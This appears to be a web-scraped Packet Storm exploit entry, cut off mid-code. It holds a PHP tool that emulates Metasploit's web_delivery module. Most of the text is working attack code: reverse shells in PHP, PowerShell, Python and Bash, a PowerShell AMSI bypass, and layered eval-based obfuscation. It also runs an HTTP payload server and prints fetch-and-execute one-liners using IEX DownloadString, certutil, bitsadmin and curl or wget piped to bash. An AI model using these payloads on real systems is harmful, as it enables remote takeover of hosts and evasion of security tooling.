{"id":36700,"date":"2026-01-21T10:42:26","date_gmt":"2026-01-21T10:42:26","guid":{"rendered":"http:\/\/localhost\/?p=36700"},"modified":"2026-01-21T10:42:26","modified_gmt":"2026-01-21T10:42:26","slug":"metasploit-web-delivery-php-proof-of-concept","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=36700","title":{"rendered":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-21T15:44:10&#8243;,&#8221;description&#8221;:&#8221;This project presents an advanced proof of concept that emulates the behavior of Metasploit&#8217;s multi\/script\/webdelivery module using PHP. The goal is to demonstrate how script-based payload delivery works in a modular and extensible way, without relying&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214116&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Metasploit Script Web Delivery Payload Delivery Module                                                                      |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/script\/web_delivery\/                                                        |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/208942\/\\n    \\n    [+] Summary : This project presents an advanced proof-of-concept (PoC) that emulates the behavior of Metasploit\u2019s multi\/script\/web_delivery module using PHP. \\n                  The goal is to demonstrate how script-based payload delivery works in a modular and extensible way, without relying directly on Metasploit.\\n                  The script launches a lightweight HTTP delivery service and dynamically generates one-liner execution commands for multiple platforms and interpreters. \\n    \\t\\t\\t  When executed on a target system (through an existing execution vector such as RCE, command injection, or local access), these commands retrieve payloads from the server and execute them, typically in memory.\\n    \\n    [+] Key characteristics of the PoC include:\\n    \\n    Multi-language and multi-platform support: PHP, Python, PowerShell, Bash, Linux, macOS, and Windows Living-Off-The-Land binaries.\\n    \\n    Dynamic payload generation with configurable listener parameters (LHOST\/LPORT).\\n    \\n    Obfuscation and evasion techniques, including layered encoding and optional AMSI bypass logic for PowerShell.\\n    \\n    Session tracking and basic telemetry, such as request counts, active sessions, and rate limiting.\\n    \\n    Modular architecture, separating concerns into payload generation, obfuscation, HTTP handling, session management, and CLI interaction.\\n    \\n    Operator-friendly CLI interface that displays ready-to-use delivery commands similar to Metasploit\u2019s output.\\n    \\n    It supports the following delivery targets:\\n    \\n    PHP\\n    \\n    Python\\n    \\n    PowerShell (with TLS enforcement \/ AMSI bypass \/ encoded payload)\\n    \\n    Regsvr32 Squiblydoo\\n    \\n    pubprn.vbs\\n    \\n    SyncAppvPublishingServer\\n    \\n    Linux (wget)\\n    \\n    macOS (curl)\\n    \\n    The script dynamically builds the execution commands and prints them to the operator, while the server simulates payload distribution.\\n    Helpers are included for creating payloads, random URIs, GUIDs, SCT templates, and HTTP server responses.\\n    \\n    It is not a full HTTP server implementation but a framework skeleton showing how delivery is structured and executed, suitable for extension into production or integrated into a backend for automation.\\n    \\n    [+]  POC :\\t\\n    \\n    \\u003c?php\\n    \/**\\n     * by indoushka\\n     * Advanced Web Delivery with Multiple Delivery Methods\\n     *\/\\n    \\n    \/\/ ========================\\n    \/\/ Enhanced Configuration\\n    \/\/ ========================\\n    $config = [\\n        &#8216;version&#8217; =\\u003e &#8216;2.0&#8217;,\\n        &#8216;defaults&#8217; =\\u003e [\\n            &#8216;target&#8217; =\\u003e &#8216;PSH&#8217;,\\n            &#8216;server_host&#8217; =\\u003e &#8216;0.0.0.0&#8217;,\\n            &#8216;server_port&#8217; =\\u003e 8080,\\n            &#8216;lhost&#8217; =\\u003e &#8216;127.0.0.1&#8217;,\\n            &#8216;lport&#8217; =\\u003e 4444,\\n            &#8216;protocol&#8217; =\\u003e &#8216;http&#8217;,\\n            &#8216;obfuscation&#8217; =\\u003e true,\\n            &#8216;encryption&#8217; =\\u003e false,\\n            &#8216;rotating_payloads&#8217; =\\u003e true,\\n            &#8216;log_requests&#8217; =\\u003e true,\\n            &#8216;rate_limit&#8217; =\\u003e 100,\\n            &#8216;session_timeout&#8217; =\\u003e 300,\\n            &#8216;stealth_mode&#8217; =\\u003e false,\\n            &#8216;payload_expiry&#8217; =\\u003e 3600,\\n            &#8216;auto_cleanup&#8217; =\\u003e true,\\n            &#8216;multiple_payloads&#8217; =\\u003e [\\n                &#8216;php&#8217; =\\u003e true,\\n                &#8216;python&#8217; =\\u003e true,\\n                &#8216;powershell&#8217; =\\u003e true,\\n                &#8216;bash&#8217; =\\u003e true\\n            ]\\n        ]\\n    ];\\n    \\n    \/\/ ========================\\n    \/\/ Advanced Obfuscation Class\\n    \/\/ ========================\\n    class AdvancedObfuscator\\n    {\\n        public static function obfuscate($code, $method = &#8216;multiple&#8217;, $level = 3)\\n        {\\n            switch ($method) {\\n                case &#8216;base64&#8217;:\\n                    return base64_encode($code);\\n                    \\n                case &#8216;rot13&#8217;:\\n                    return str_rot13($code);\\n                    \\n                case &#8216;xor&#8217;:\\n                    $key = bin2hex(random_bytes(8));\\n                    $encrypted = &#8221;;\\n                    for ($i = 0; $i \\u003c strlen($code); $i++) {\\n                        $encrypted .= $code[$i] ^ $key[$i % strlen($key)];\\n                    }\\n                    return base64_encode($encrypted) . &#8216;|&#8217; . $key;\\n                    \\n                case &#8216;gzip&#8217;:\\n                    return base64_encode(gzcompress($code, 9));\\n                    \\n                case &#8216;multiple&#8217;:\\n                    for ($i = 0; $i \\u003c $level; $i++) {\\n                        $code = self::applyRandomObfuscation($code);\\n                    }\\n                    return $code;\\n                    \\n                default:\\n                    return $code;\\n            }\\n        }\\n    \\n        private static function applyRandomObfuscation($code)\\n        {\\n            $methods = [&#8216;base64&#8217;, &#8216;rot13&#8217;, &#8216;gzip&#8217;];\\n            $method = $methods[array_rand($methods)];\\n            \\n            switch ($method) {\\n                case &#8216;base64&#8217;:\\n                    return &#8216;eval(base64_decode(\\&#8221;&#8216; . base64_encode($code) . &#8216;\\&#8221;));&#8217;;\\n                    \\n                case &#8216;rot13&#8217;:\\n                    return &#8216;eval(str_rot13(\\&#8221;&#8216; . str_rot13($code) . &#8216;\\&#8221;));&#8217;;\\n                    \\n                case &#8216;gzip&#8217;:\\n                    return &#8216;eval(gzuncompress(base64_decode(\\&#8221;&#8216; . base64_encode(gzcompress($code)) . &#8216;\\&#8221;)));&#8217;;\\n                    \\n                default:\\n                    return $code;\\n            }\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Session Manager Class\\n    \/\/ ========================\\n    class SessionManager\\n    {\\n        private static $sessions = [];\\n        private static $logFile = &#8216;sessions.log&#8217;;\\n    \\n        public static function createSession($ip, $userAgent, $target)\\n        {\\n            $sessionId = bin2hex(random_bytes(16));\\n            $session = [\\n                &#8216;id&#8217; =\\u003e $sessionId,\\n                &#8216;ip&#8217; =\\u003e $ip,\\n                &#8216;user_agent&#8217; =\\u003e $userAgent,\\n                &#8216;target&#8217; =\\u003e $target,\\n                &#8216;created&#8217; =\\u003e time(),\\n                &#8216;last_activity&#8217; =\\u003e time(),\\n                &#8216;request_count&#8217; =\\u003e 1,\\n                &#8216;payload_delivered&#8217; =\\u003e false,\\n                &#8216;active&#8217; =\\u003e true\\n            ];\\n    \\n            self::$sessions[$sessionId] = $session;\\n            self::logSession($session, &#8216;CREATED&#8217;);\\n            \\n            return $sessionId;\\n        }\\n    \\n        public static function updateSession($sessionId)\\n        {\\n            if (isset(self::$sessions[$sessionId])) {\\n                self::$sessions[$sessionId][&#8216;last_activity&#8217;] = time();\\n                self::$sessions[$sessionId][&#8216;request_count&#8217;]++;\\n            }\\n        }\\n    \\n        public static function markPayloadDelivered($sessionId)\\n        {\\n            if (isset(self::$sessions[$sessionId])) {\\n                self::$sessions[$sessionId][&#8216;payload_delivered&#8217;] = true;\\n                self::logSession(self::$sessions[$sessionId], &#8216;PAYLOAD_DELIVERED&#8217;);\\n            }\\n        }\\n    \\n        public static function getActiveSessions()\\n        {\\n            $active = [];\\n            foreach (self::$sessions as $session) {\\n                if ($session[&#8216;active&#8217;] \\u0026\\u0026 (time() &#8211; $session[&#8216;last_activity&#8217;]) \\u003c 300) {\\n                    $active[] = $session;\\n                }\\n            }\\n            return $active;\\n        }\\n    \\n        private static function logSession($session, $action)\\n        {\\n            $logEntry = sprintf(\\n                \\&#8221;[%s] %s &#8211; Session: %s, IP: %s, Target: %s\\\\n\\&#8221;,\\n                date(&#8216;Y-m-d H:i:s&#8217;),\\n                $action,\\n                $session[&#8216;id&#8217;],\\n                $session[&#8216;ip&#8217;],\\n                $session[&#8216;target&#8217;]\\n            );\\n            \\n            @file_put_contents(self::$logFile, $logEntry, FILE_APPEND);\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Advanced Payload Generator Class\\n    \/\/ ========================\\n    class AdvancedPayloadGenerator\\n    {\\n        public static function generatePayload($type, $params)\\n        {\\n            $method = &#8216;generate&#8217; . ucfirst(strtolower($type)) . &#8216;Payload&#8217;;\\n            \\n            if (method_exists(__CLASS__, $method)) {\\n                return self::$method($params);\\n            }\\n            \\n            return self::generateGenericPayload($params);\\n        }\\n    \\n        private static function generatePhpPayload($params)\\n        {\\n            $payloads = [\\n                &#8216;basic&#8217; =\\u003e &#8216;\\u003c?php $s=fsockopen(\\&#8221;{{LHOST}}\\&#8221;,{{LPORT}});exec(\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\&#8221;);?\\u003e&#8217;,\\n                &#8216;advanced&#8217; =\\u003e &#8216;\\u003c?php $c=base64_decode(\\&#8221;{{ENCODED}}\\&#8221;);eval($c);?\\u003e&#8217;,\\n                &#8216;stealth&#8217; =\\u003e &#8216;\\u003c?php $f=tempnam(sys_get_temp_dir(),\\&#8221;x\\&#8221;);file_put_contents($f,file_get_contents(\\&#8221;{{URL}}\\&#8221;));include($f);unlink($f);?\\u003e&#8217;\\n            ];\\n            \\n            $selected = $payloads[$params[&#8216;variant&#8217;] ?? &#8216;basic&#8217;];\\n            return str_replace(\\n                [&#8216;{{LHOST}}&#8217;, &#8216;{{LPORT}}&#8217;, &#8216;{{ENCODED}}&#8217;, &#8216;{{URL}}&#8217;],\\n                [$params[&#8216;lhost&#8217;], $params[&#8216;lport&#8217;], base64_encode($selected), $params[&#8216;server_url&#8217;]],\\n                $selected\\n            );\\n        }\\n    \\n        private static function generatePowershellPayload($params)\\n        {\\n            $amsiBypass = &#8216;\\n            # AMSI Bypass\\n            $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like \\&#8221;*iUtils\\&#8221;) {$c=$b}};$d=$c.GetFields(\\&#8221;NonPublic,Static\\&#8221;);Foreach($e in $d) {if ($e.Name -like \\&#8221;*Context\\&#8221;) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)\\n            &#8216;;\\n            \\n            $payload = &#8216;\\n            # Reverse Shell\\n            $client = New-Object System.Net.Sockets.TCPClient(\\&#8221;{{LHOST}}\\&#8221;,{{LPORT}});\\n            $stream = $client.GetStream();\\n            [byte[]]$bytes = 0..65535|%{0};\\n            while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){\\n                $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);\\n                $sendback = (iex $data 2\\u003e\\u00261 | Out-String );\\n                $sendback2 = $sendback + \\&#8221;PS \\&#8221; + (pwd).Path + \\&#8221;\\u003e \\&#8221;;\\n                $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);\\n                $stream.Write($sendbyte,0,$sendbyte.Length);\\n                $stream.Flush()\\n            };\\n            $client.Close()\\n            &#8216;;\\n            \\n            if ($params[&#8216;amsi_bypass&#8217;] ?? true) {\\n                $payload = $amsiBypass . $payload;\\n            }\\n            \\n            if ($params[&#8216;obfuscate&#8217;] ?? true) {\\n                $payload = self::obfuscatePowerShell($payload);\\n            }\\n            \\n            return str_replace(\\n                [&#8216;{{LHOST}}&#8217;, &#8216;{{LPORT}}&#8217;],\\n                [$params[&#8216;lhost&#8217;], $params[&#8216;lport&#8217;]],\\n                $payload\\n            );\\n        }\\n    \\n        private static function obfuscatePowerShell($code)\\n        {\\n            $code = str_replace(&#8216; &#8216;, &#8216;` &#8216;, $code);\\n            $code = str_replace(&#8216;-&#8216;, &#8216;`-&#8216;, $code);\\n            $code = str_replace(&#8216;$&#8217;, &#8216;`$&#8217;, $code);\\n            $code = str_replace(&#8216;.&#8217;, &#8216;`.&#8217;, $code);\\n            \\n            return $code;\\n        }\\n    \\n        private static function generatePythonPayload($params)\\n        {\\n            return &#8216;\\n    import socket,subprocess,os,pty\\n    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n    s.connect((\\&#8221;{{LHOST}}\\&#8221;,{{LPORT}}))\\n    os.dup2(s.fileno(),0)\\n    os.dup2(s.fileno(),1)\\n    os.dup2(s.fileno(),2)\\n    pty.spawn(\\&#8221;\/bin\/bash\\&#8221;)\\n            &#8216;;\\n        }\\n    \\n        private static function generateBashPayload($params)\\n        {\\n            return &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/{{LHOST}}\/{{LPORT}} 0\\u003e\\u00261&#8217;;\\n        }\\n    \\n        private static function generateGenericPayload($params)\\n        {\\n            return \\&#8221;echo &#8216;Unsupported payload type: {$params[&#8216;type&#8217;]}&#8217;\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Enhanced HTTP Server Class\\n    \/\/ ========================\\n    class EnhancedHttpServer\\n    {\\n        private $host;\\n        private $port;\\n        private $handler;\\n        private $socket;\\n        private $stats;\\n        private $rateLimiter;\\n    \\n        public function __construct($host = &#8216;0.0.0.0&#8217;, $port = 8080)\\n        {\\n            $this-\\u003ehost = $host;\\n            $this-\\u003eport = $port;\\n            $this-\\u003estats = [\\n                &#8216;requests&#8217; =\\u003e 0,\\n                &#8216;payloads_served&#8217; =\\u003e 0,\\n                &#8216;blocked_requests&#8217; =\\u003e 0,\\n                &#8216;start_time&#8217; =\\u003e time()\\n            ];\\n            $this-\\u003erateLimiter = new RateLimiter();\\n        }\\n    \\n        public function setHandler($handler)\\n        {\\n            $this-\\u003ehandler = $handler;\\n        }\\n    \\n        public function start()\\n        {\\n            $context = stream_context_create();\\n            \\n            $this-\\u003esocket = stream_socket_server(\\n                \\&#8221;tcp:\/\/{$this-\\u003ehost}:{$this-\\u003eport}\\&#8221;,\\n                $errno,\\n                $errstr,\\n                STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,\\n                $context\\n            );\\n    \\n            if (!$this-\\u003esocket) {\\n                die(\\&#8221;Error: {$errstr} ({$errno})\\\\n\\&#8221;);\\n            }\\n    \\n            stream_set_blocking($this-\\u003esocket, 0);\\n            \\n            echo \\&#8221;[+] Enhanced HTTP Server started on {$this-\\u003ehost}:{$this-\\u003eport}\\\\n\\&#8221;;\\n            echo \\&#8221;[+] PID: \\&#8221; . getmypid() . \\&#8221;\\\\n\\&#8221;;\\n            \\n            $this-\\u003emainLoop();\\n        }\\n    \\n        private function mainLoop()\\n        {\\n            while (true) {\\n                $client = @stream_socket_accept($this-\\u003esocket, 0);\\n                \\n                if ($client) {\\n                    $this-\\u003ehandleClient($client);\\n                }\\n                \\n                $this-\\u003ecleanup();\\n                usleep(10000);\\n            }\\n        }\\n    \\n        private function handleClient($client)\\n        {\\n            $request = &#8221;;\\n            $headers = [];\\n            $clientIp = stream_socket_get_name($client, true);\\n            \\n            stream_set_timeout($client, 5);\\n            \\n            while (!feof($client)) {\\n                $request .= fread($client, 8192);\\n                if (strpos($request, \\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;) !== false) {\\n                    break;\\n                }\\n            }\\n            \\n            if (empty($request)) {\\n                fclose($client);\\n                return;\\n            }\\n            \\n            $lines = explode(\\&#8221;\\\\r\\\\n\\&#8221;, $request);\\n            $requestLine = $lines[0];\\n            $method = explode(&#8216; &#8216;, $requestLine)[0] ?? &#8221;;\\n            $path = explode(&#8216; &#8216;, $requestLine)[1] ?? &#8216;\/&#8217;;\\n            \\n            foreach ($lines as $line) {\\n                if (strpos($line, &#8216;: &#8216;) !== false) {\\n                    list($key, $value) = explode(&#8216;: &#8216;, $line, 2);\\n                    $headers[strtolower($key)] = $value;\\n                }\\n            }\\n            \\n            $userAgent = $headers[&#8216;user-agent&#8217;] ?? &#8216;Unknown&#8217;;\\n            \\n            if (!$this-\\u003erateLimiter-\\u003echeck($clientIp)) {\\n                $this-\\u003estats[&#8216;blocked_requests&#8217;]++;\\n                $response = \\&#8221;HTTP\/1.1 429 Too Many Requests\\\\r\\\\n\\&#8221;;\\n                $response .= \\&#8221;Content-Type: text\/plain\\\\r\\\\n\\&#8221;;\\n                $response .= \\&#8221;Content-Length: 18\\\\r\\\\n\\&#8221;;\\n                $response .= \\&#8221;Connection: close\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n                $response .= \\&#8221;Rate limit exceeded\\&#8221;;\\n                fwrite($client, $response);\\n                fclose($client);\\n                return;\\n            }\\n            \\n            $this-\\u003estats[&#8216;requests&#8217;]++;\\n            \\n            if ($this-\\u003ehandler) {\\n                $response = call_user_func($this-\\u003ehandler, $request, [\\n                    &#8216;ip&#8217; =\\u003e $clientIp,\\n                    &#8216;path&#8217; =\\u003e $path,\\n                    &#8216;method&#8217; =\\u003e $method,\\n                    &#8216;headers&#8217; =\\u003e $headers,\\n                    &#8216;user_agent&#8217; =\\u003e $userAgent\\n                ]);\\n                \\n                if (strpos($response, &#8216;200 OK&#8217;) !== false) {\\n                    $this-\\u003estats[&#8216;payloads_served&#8217;]++;\\n                }\\n                \\n                fwrite($client, $response);\\n            }\\n            \\n            fclose($client);\\n        }\\n    \\n        public function getStats()\\n        {\\n            $uptime = time() &#8211; $this-\\u003estats[&#8216;start_time&#8217;];\\n            return [\\n                &#8216;uptime&#8217; =\\u003e $this-\\u003eformatUptime($uptime),\\n                &#8216;requests&#8217; =\\u003e $this-\\u003estats[&#8216;requests&#8217;],\\n                &#8216;payloads_served&#8217; =\\u003e $this-\\u003estats[&#8216;payloads_served&#8217;],\\n                &#8216;blocked_requests&#8217; =\\u003e $this-\\u003estats[&#8216;blocked_requests&#8217;],\\n                &#8216;requests_per_minute&#8217; =\\u003e $this-\\u003estats[&#8216;requests&#8217;] \/ ($uptime \/ 60),\\n                &#8216;active_sessions&#8217; =\\u003e count(SessionManager::getActiveSessions())\\n            ];\\n        }\\n    \\n        private function formatUptime($seconds)\\n        {\\n            $hours = floor($seconds \/ 3600);\\n            $minutes = floor(($seconds % 3600) \/ 60);\\n            $seconds = $seconds % 60;\\n            \\n            return sprintf(\\&#8221;%02d:%02d:%02d\\&#8221;, $hours, $minutes, $seconds);\\n        }\\n    \\n        private function cleanup()\\n        {\\n            static $lastCleanup = 0;\\n            if (time() &#8211; $lastCleanup \\u003e 60) {\\n                $lastCleanup = time();\\n            }\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Rate Limiter Class\\n    \/\/ ========================\\n    class RateLimiter\\n    {\\n        private $requests = [];\\n        private $limit = 100;\\n        private $window = 60;\\n    \\n        public function check($ip)\\n        {\\n            $now = time();\\n            $key = $ip . &#8216;_&#8217; . floor($now \/ $this-\\u003ewindow);\\n            \\n            if (!isset($this-\\u003erequests[$key])) {\\n                $this-\\u003erequests[$key] = 0;\\n            }\\n            \\n            $this-\\u003erequests[$key]++;\\n            \\n            foreach (array_keys($this-\\u003erequests) as $k) {\\n                if (strpos($k, &#8216;_&#8217;) !== false) {\\n                    list($ipPart, $windowPart) = explode(&#8216;_&#8217;, $k);\\n                    if ($windowPart \\u003c floor(($now &#8211; $this-\\u003ewindow) \/ $this-\\u003ewindow)) {\\n                        unset($this-\\u003erequests[$k]);\\n                    }\\n                }\\n            }\\n            \\n            return $this-\\u003erequests[$key] \\u003c= $this-\\u003elimit;\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Advanced Web Delivery Class\\n    \/\/ ========================\\n    class AdvancedWebDelivery\\n    {\\n        private $config;\\n        private $server;\\n        private $payloads;\\n        private $deliveryMethods;\\n    \\n        public function __construct($options = [])\\n        {\\n            global $config;\\n            $this-\\u003econfig = array_merge($config[&#8216;defaults&#8217;], $options);\\n            $this-\\u003eserver = new EnhancedHttpServer(\\n                $this-\\u003econfig[&#8216;server_host&#8217;],\\n                $this-\\u003econfig[&#8216;server_port&#8217;]\\n            );\\n            \\n            $this-\\u003eserver-\\u003esetHandler([$this, &#8216;handleRequest&#8217;]);\\n            $this-\\u003einitializeDeliveryMethods();\\n            $this-\\u003einitializePayloads();\\n        }\\n    \\n        private function initializeDeliveryMethods()\\n        {\\n            $this-\\u003edeliveryMethods = [\\n                &#8216;psh&#8217; =\\u003e [\\n                    &#8216;IEX&#8217; =\\u003e \\&#8221;powershell -nop -w hidden -c \\\\\\&#8221;IEX(New-Object Net.WebClient).DownloadString(&#8216;{{URL}}&#8217;)\\\\\\&#8221;\\&#8221;,\\n                    &#8216;IEX_encoded&#8217; =\\u003e \\&#8221;powershell -nop -w hidden -EncodedCommand {{ENCODED}}\\&#8221;,\\n                    &#8216;bitsadmin&#8217; =\\u003e \\&#8221;bitsadmin \/transfer job \/download \/priority normal {{URL}} %temp%\\\\\\\\file.ps1 \\u0026\\u0026 powershell -ep bypass -file %temp%\\\\\\\\file.ps1\\&#8221;,\\n                    &#8216;certutil&#8217; =\\u003e \\&#8221;certutil -urlcache -split -f {{URL}} %temp%\\\\\\\\file.ps1 \\u0026\\u0026 powershell -ep bypass -file %temp%\\\\\\\\file.ps1\\&#8221;\\n                ],\\n                &#8216;php&#8217; =\\u003e [\\n                    &#8216;basic&#8217; =\\u003e \\&#8221;php -r \\\\\\&#8221;eval(file_get_contents(&#8216;{{URL}}&#8217;));\\\\\\&#8221;\\&#8221;,\\n                    &#8216;curl&#8217; =\\u003e \\&#8221;curl -s {{URL}} | php\\&#8221;,\\n                    &#8216;wget&#8217; =\\u003e \\&#8221;wget -qO- {{URL}} | php\\&#8221;\\n                ],\\n                &#8216;python&#8217; =\\u003e [\\n                    &#8216;basic&#8217; =\\u003e \\&#8221;python -c \\\\\\&#8221;import urllib.request; exec(urllib.request.urlopen(&#8216;{{URL}}&#8217;).read())\\\\\\&#8221;\\&#8221;,\\n                    &#8216;curl&#8217; =\\u003e \\&#8221;curl -s {{URL}} | python\\&#8221;,\\n                    &#8216;wget&#8217; =\\u003e \\&#8221;wget -qO- {{URL}} | python\\&#8221;\\n                ],\\n                &#8216;bash&#8217; =\\u003e [\\n                    &#8216;curl&#8217; =\\u003e \\&#8221;curl -s {{URL}} | bash\\&#8221;,\\n                    &#8216;wget&#8217; =\\u003e \\&#8221;wget -qO- {{URL}} | bash\\&#8221;\\n                ]\\n            ];\\n        }\\n    \\n        private function initializePayloads()\\n        {\\n            $params = [\\n                &#8216;lhost&#8217; =\\u003e $this-\\u003econfig[&#8216;lhost&#8217;],\\n                &#8216;lport&#8217; =\\u003e $this-\\u003econfig[&#8216;lport&#8217;],\\n                &#8216;server_url&#8217; =\\u003e $this-\\u003egetServerUrl(),\\n                &#8216;amsi_bypass&#8217; =\\u003e true,\\n                &#8216;obfuscate&#8217; =\\u003e $this-\\u003econfig[&#8216;obfuscation&#8217;]\\n            ];\\n    \\n            $this-\\u003epayloads = [];\\n            foreach ($this-\\u003econfig[&#8216;multiple_payloads&#8217;] as $type =\\u003e $enabled) {\\n                if ($enabled) {\\n                    $this-\\u003epayloads[$type] = AdvancedPayloadGenerator::generatePayload($type, $params);\\n                }\\n            }\\n        }\\n    \\n        public function run()\\n        {\\n            $this-\\u003eshowAdvancedBanner();\\n            $this-\\u003eshowDeliveryOptions();\\n            $this-\\u003eserver-\\u003estart();\\n        }\\n    \\n        private function showAdvancedBanner()\\n        {\\n            $banner = \\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                                                                              \u2551\\n    \u2551                  Advanced Script Web Delivery System                         \u2551\\n    \u2551                              by indoushka                                    \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n            \\&#8221;;\\n            \\n            echo $banner . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Server URL: \\&#8221; . $this-\\u003egetServerUrl() . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Listener: \\&#8221; . $this-\\u003econfig[&#8216;lhost&#8217;] . \\&#8221;:\\&#8221; . $this-\\u003econfig[&#8216;lport&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Target: \\&#8221; . $this-\\u003econfig[&#8216;target&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Obfuscation: \\&#8221; . ($this-\\u003econfig[&#8216;obfuscation&#8217;] ? \\&#8221;Enabled\\&#8221; : \\&#8221;Disabled\\&#8221;) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Stealth Mode: \\&#8221; . ($this-\\u003econfig[&#8216;stealth_mode&#8217;] ? \\&#8221;Enabled\\&#8221; : \\&#8221;Disabled\\&#8221;) . \\&#8221;\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n        }\\n    \\n        private function showDeliveryOptions()\\n        {\\n            echo \\&#8221;[*] Available Delivery Commands:\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;-\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            $target = strtolower($this-\\u003econfig[&#8216;target&#8217;]);\\n            $url = $this-\\u003egetServerUrl();\\n            \\n            if (isset($this-\\u003edeliveryMethods[$target])) {\\n                foreach ($this-\\u003edeliveryMethods[$target] as $method =\\u003e $command) {\\n                    $finalCommand = str_replace(&#8216;{{URL}}&#8217;, $url, $command);\\n                    \\n                    if (strpos($command, &#8216;{{ENCODED}}&#8217;) !== false) {\\n                        $encoded = base64_encode(\\n                            \\&#8221;IEX(New-Object Net.WebClient).DownloadString(&#8216;{$url}&#8217;)\\&#8221;\\n                        );\\n                        $finalCommand = str_replace(&#8216;{{ENCODED}}&#8217;, $encoded, $finalCommand);\\n                    }\\n                    \\n                    echo \\&#8221;[{$method}]\\\\n\\&#8221;;\\n                    echo $finalCommand . \\&#8221;\\\\n\\\\n\\&#8221;;\\n                }\\n            } else {\\n                echo \\&#8221;[!] No delivery methods available for target: {$target}\\\\n\\&#8221;;\\n            }\\n            \\n            echo str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n        }\\n    \\n        private function getServerUrl()\\n        {\\n            $protocol = $this-\\u003econfig[&#8216;protocol&#8217;] ?? &#8216;http&#8217;;\\n            return $protocol . &#8216;:\/\/&#8217; . $this-\\u003econfig[&#8216;server_host&#8217;] . &#8216;:&#8217; . $this-\\u003econfig[&#8216;server_port&#8217;];\\n        }\\n    \\n        public function handleRequest($request, $clientInfo = [])\\n        {\\n            $path = $clientInfo[&#8216;path&#8217;] ?? &#8216;\/&#8217;;\\n            $ip = $clientInfo[&#8216;ip&#8217;] ?? &#8216;0.0.0.0&#8217;;\\n            $userAgent = $clientInfo[&#8216;user_agent&#8217;] ?? &#8216;Unknown&#8217;;\\n            \\n            static $sessions = [];\\n            $sessionKey = md5($ip . $userAgent);\\n            \\n            if (!isset($sessions[$sessionKey])) {\\n                $sessions[$sessionKey] = [\\n                    &#8216;id&#8217; =\\u003e bin2hex(random_bytes(8)),\\n                    &#8216;ip&#8217; =\\u003e $ip,\\n                    &#8216;user_agent&#8217; =\\u003e $userAgent,\\n                    &#8216;created&#8217; =\\u003e time(),\\n                    &#8216;requests&#8217; =\\u003e 1,\\n                    &#8216;paths&#8217; =\\u003e [$path]\\n                ];\\n            } else {\\n                